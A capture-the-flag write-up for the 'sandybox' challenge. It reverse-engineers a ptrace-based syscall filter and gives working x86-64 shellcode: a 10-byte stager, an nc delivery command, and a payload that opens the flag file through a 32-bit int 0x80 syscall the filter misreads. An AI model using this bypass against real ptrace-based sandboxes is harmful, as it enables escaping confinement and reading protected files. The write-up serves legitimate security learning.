## Sandybox
Looking at the binary reveals that the sandybox is a `ptrace` based sandboxwhich filters syscalls of the sandboxed program.
Forking happens in the `main` method:
```cpid_t pid = fork();if((pid & 0x80000000) != 0) {  const char* error = strerror(errno);  dprintf(1, "fork fail %s\n", error);  return 1;}if(!pid) {  prctl(1, 9);  if(getppid() != 1) {    if(ptrace(PTRACE_TRACEME, 0, 0, 0)) {      const char* error = strerror(errno);      dprintf(1, "child traceme %s\n", error);      _exit(1);    }    pid_t self = getpid();    kill(self, SIGSTOP);    execute();    _exit(0);  }  dprintf(1, "child is orphaned\n");  _exit(1);}```
`execute()` allocates a page of memory with RWX permissions, reads 10 bytes ofprogram code into it and calls it as a function afterwards:
```cint execute(){  char *shellcode;  char *p;  char *end;
  syscall(SYS_alarm, 20);  shellcode = (char *)mmap(NULL, 10, PROT_READ|PROT_WRITE|PROT_EXEC, \      MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);  p = shellcode;  dprintf(1, "> ");  do {    end = p;    if(read(0, p, 1) != 1)      _exit(0);    p++;  } while(p != shellcode + 10);  ((void (*)(int, char *))shellcode)(0, end);  return 0;}```
There is something interesting though: the 10 bytes of memory are turned into a4096 bytes large page, and the arguments passed to the function areexactly the arguments necessary for a `read` syscall.
The first part of the shellcode therefore reads more shellcode into the rest of the page:
```0:  ff c8                   dec    eax                 ; SYS_read2:  48 c1 e2 08             shl    rdx,0x8             ; 256 bytes6:  0f 05                   syscall                    ; read8:  90                      nop                        ; pad to 10 bytes9:  90                      nop```
When the read loop terminates, `rax` is 1, but `SYS_read` is 0, therefore wedecrement it. `rdx` still has the value 1, therefore shifting it left by 8means we want to read 256 bytes of data. We have to pad the shellcode with nopssuch that it is 10 bytes long. As already mentioned, `rsi` already points tothe byte after the shellcode and `rdi` has the value 0, which means `stdin`.
Combining this into a shell command, we can now run arbitrary shellcode:
```sh(printf "\xff\xc8\x48\xc1\xe2\x08\x0f\x05\x90\x90"; cat shellcode.bin) | nc sandybox.pwni.ng 1337```
## The Syscall Filter
Since this challenge is supposed to be a sandbox, there is a syscall filter implemented, which looks like this:
in `main`:
```cptrace(PTRACE_SYSCALL, pid);ptrace(PTRACE_GETREGS, pid, 0, ®s;;if(is_invalid_syscall(pid, &regs)) {  // deny, replace by write(1, "get clapped sonn\n", 17)} else {  // allow}ptrace(PTRACE_SYSCALL, pid);```
The `is_invalid_syscall` function looks like this:
```cbool is_invalid_syscall(pid_t pid, struct user_regs_struct *regs){  unsigned long id;  unsigned long name;  long v1;  long v2;  char fname[17];
  switch(regs->orig_rax) {    case SYS_read:    case SYS_write:    case SYS_close:    case SYS_fstat:    case SYS_exit:    case SYS_exit_group:    case SYS_getpid:    case SYS_lseek:      return 0;    case SYS_alarm:      return regs->rdi - 1 > 19;    case SYS_mmap:    case SYS_mprotect:    case SYS_munmap:      return regs->rsi > 0x1000;    case SYS_open:      if(!regs->rsi) {        name = regs->rdi;        memset(fname, 0, sizeof(fname));        v1 = ptrace(PTRACE_PEEKDATA, pid, name, 0);        v2 = ptrace(PTRACE_PEEKDATA, pid, regs->rdi + 8, 0);        if(v1 != -1 && v2 != -1) {          *(long *)fname = v1;          *(long *)&fname[8] = v2;          if(strlen(fname) <= 15 && !strstr(fname, "flag") && !strstr(fname, "proc"))            return strstr(fname, "sys") != 0;        }      }      return 1;    default:      return 1;  }}```
This filter obviously allows `read` and `write` syscalls, but it does not allowopening the `flag` file.
## Syscalls on x86_64
Syscalls on Linux/AMD64 are weird. There are multiple different ways how toinvoke syscalls, and most people only think about one of them. The most obviousone is the `syscall` instruction. But it is also possible to use the old `int0x80` instruction to invoke 32bit syscalls. Those 32bit syscalls are reportedas syscall in the tracer, but if the tracer only checks registers but doesn'tcheck the current instruction it will be confused. Most importantly, the 32bitsyscall numbers and the 64bit syscall numbers are different. What looks like a`lseek` syscall in 64bit mode is in fact `open` in 32bit mode. To bypass the`open` check, all we have to do is `open` our `flag` file using a 32bit `open`syscall. Of course since it is a 32bit syscall, it only accepts memory below4GB, but since we can call `mmap`, we can just map a page with `MAP_32BIT`.
***Note***: even `strace` is confused by this. It can easily be checked by runninga program like this:
```        .globl  _start        .text_start: mov     $1,     %eax        mov     $42,    %ebx        int     $0x80```
Running this program under `strace` shows a `write` syscall (`SYS_write` is 1in 64bit mode) instead of `exit`:
```% strace ./sys32execve("./sys32", ["./sys32"], 0x7ffcb8da1bf0 /* 41 vars */) = 0write(0, NULL, 0)                       = ?+++ exited with 42 +++```
## Shellcode Part 2The shellcode (it's the code for the `shellcode.bin` for our previous command)for reading the flag can be implemented like this:
```0:  b8 09 00 00 00          mov    eax,0x9             ; SYS_mmap5:  31 ff                   xor    edi,edi             ; NULL7:  be 00 10 00 00          mov    esi,0x1000          ; sz=0x1000c:  ba 03 00 00 00          mov    edx,0x3             ; prot=RWX11: 49 c7 c2 62 00 00 00    mov    r10,0x62            ; PRIVATE|ANON|32BIT18: 4d 31 c0                xor    r8,r8               ; fd=01b: 4d 31 c9                xor    r9,r9               ; off=01e: 0f 05                   syscall                    ; mmap
20: 41 89 c4                mov    r12d,eax            ; save ptr in r1223: 48 c7 c2 66 6c 61 67    mov    rdx,0x67616c662a: 48 89 10                mov    QWORD PTR [rax],rdx ; write "flag"
2d: 89 c3                   mov    ebx,eax             ; "flag"2f: 31 c9                   xor    ecx,ecx             ; flags=031: b8 05 00 00 00          mov    eax,0x5             ; SYS_open36: cd 80                   int    0x80                ; open
38: 31 ff                   xor    edi,edi3a: 97                      xchg   edi,eax             ; edi=fd3b: 4c 89 e6                mov    rsi,r12             ; rsi=memory3e: ba 00 01 00 00          mov    edx,0x100           ; 256 bytes43: 0f 05                   syscall                    ; read
45: 4c 89 e6                mov    rsi,r12             ; rsi=memory48: 48 c7 c2 00 01 00 00    mov    rdx,0x100           ; 256 bytes4f: bf 01 00 00 00          mov    edi,0x1             ; stdout54: b8 01 00 00 00          mov    eax,0x1             ; SYS_write59: 0f 05                   syscall                    ; write
5b: b8 3c 00 00 00          mov    eax,0x3c            ; SYS_exit60: 0f 05                   syscall                    ; exit```
Running this shellcode on the server gives us the flag:
```o hai> PCTF{bonus_round:_did_you_spot_the_other_2_solutions?}so long, sucker. 0x100```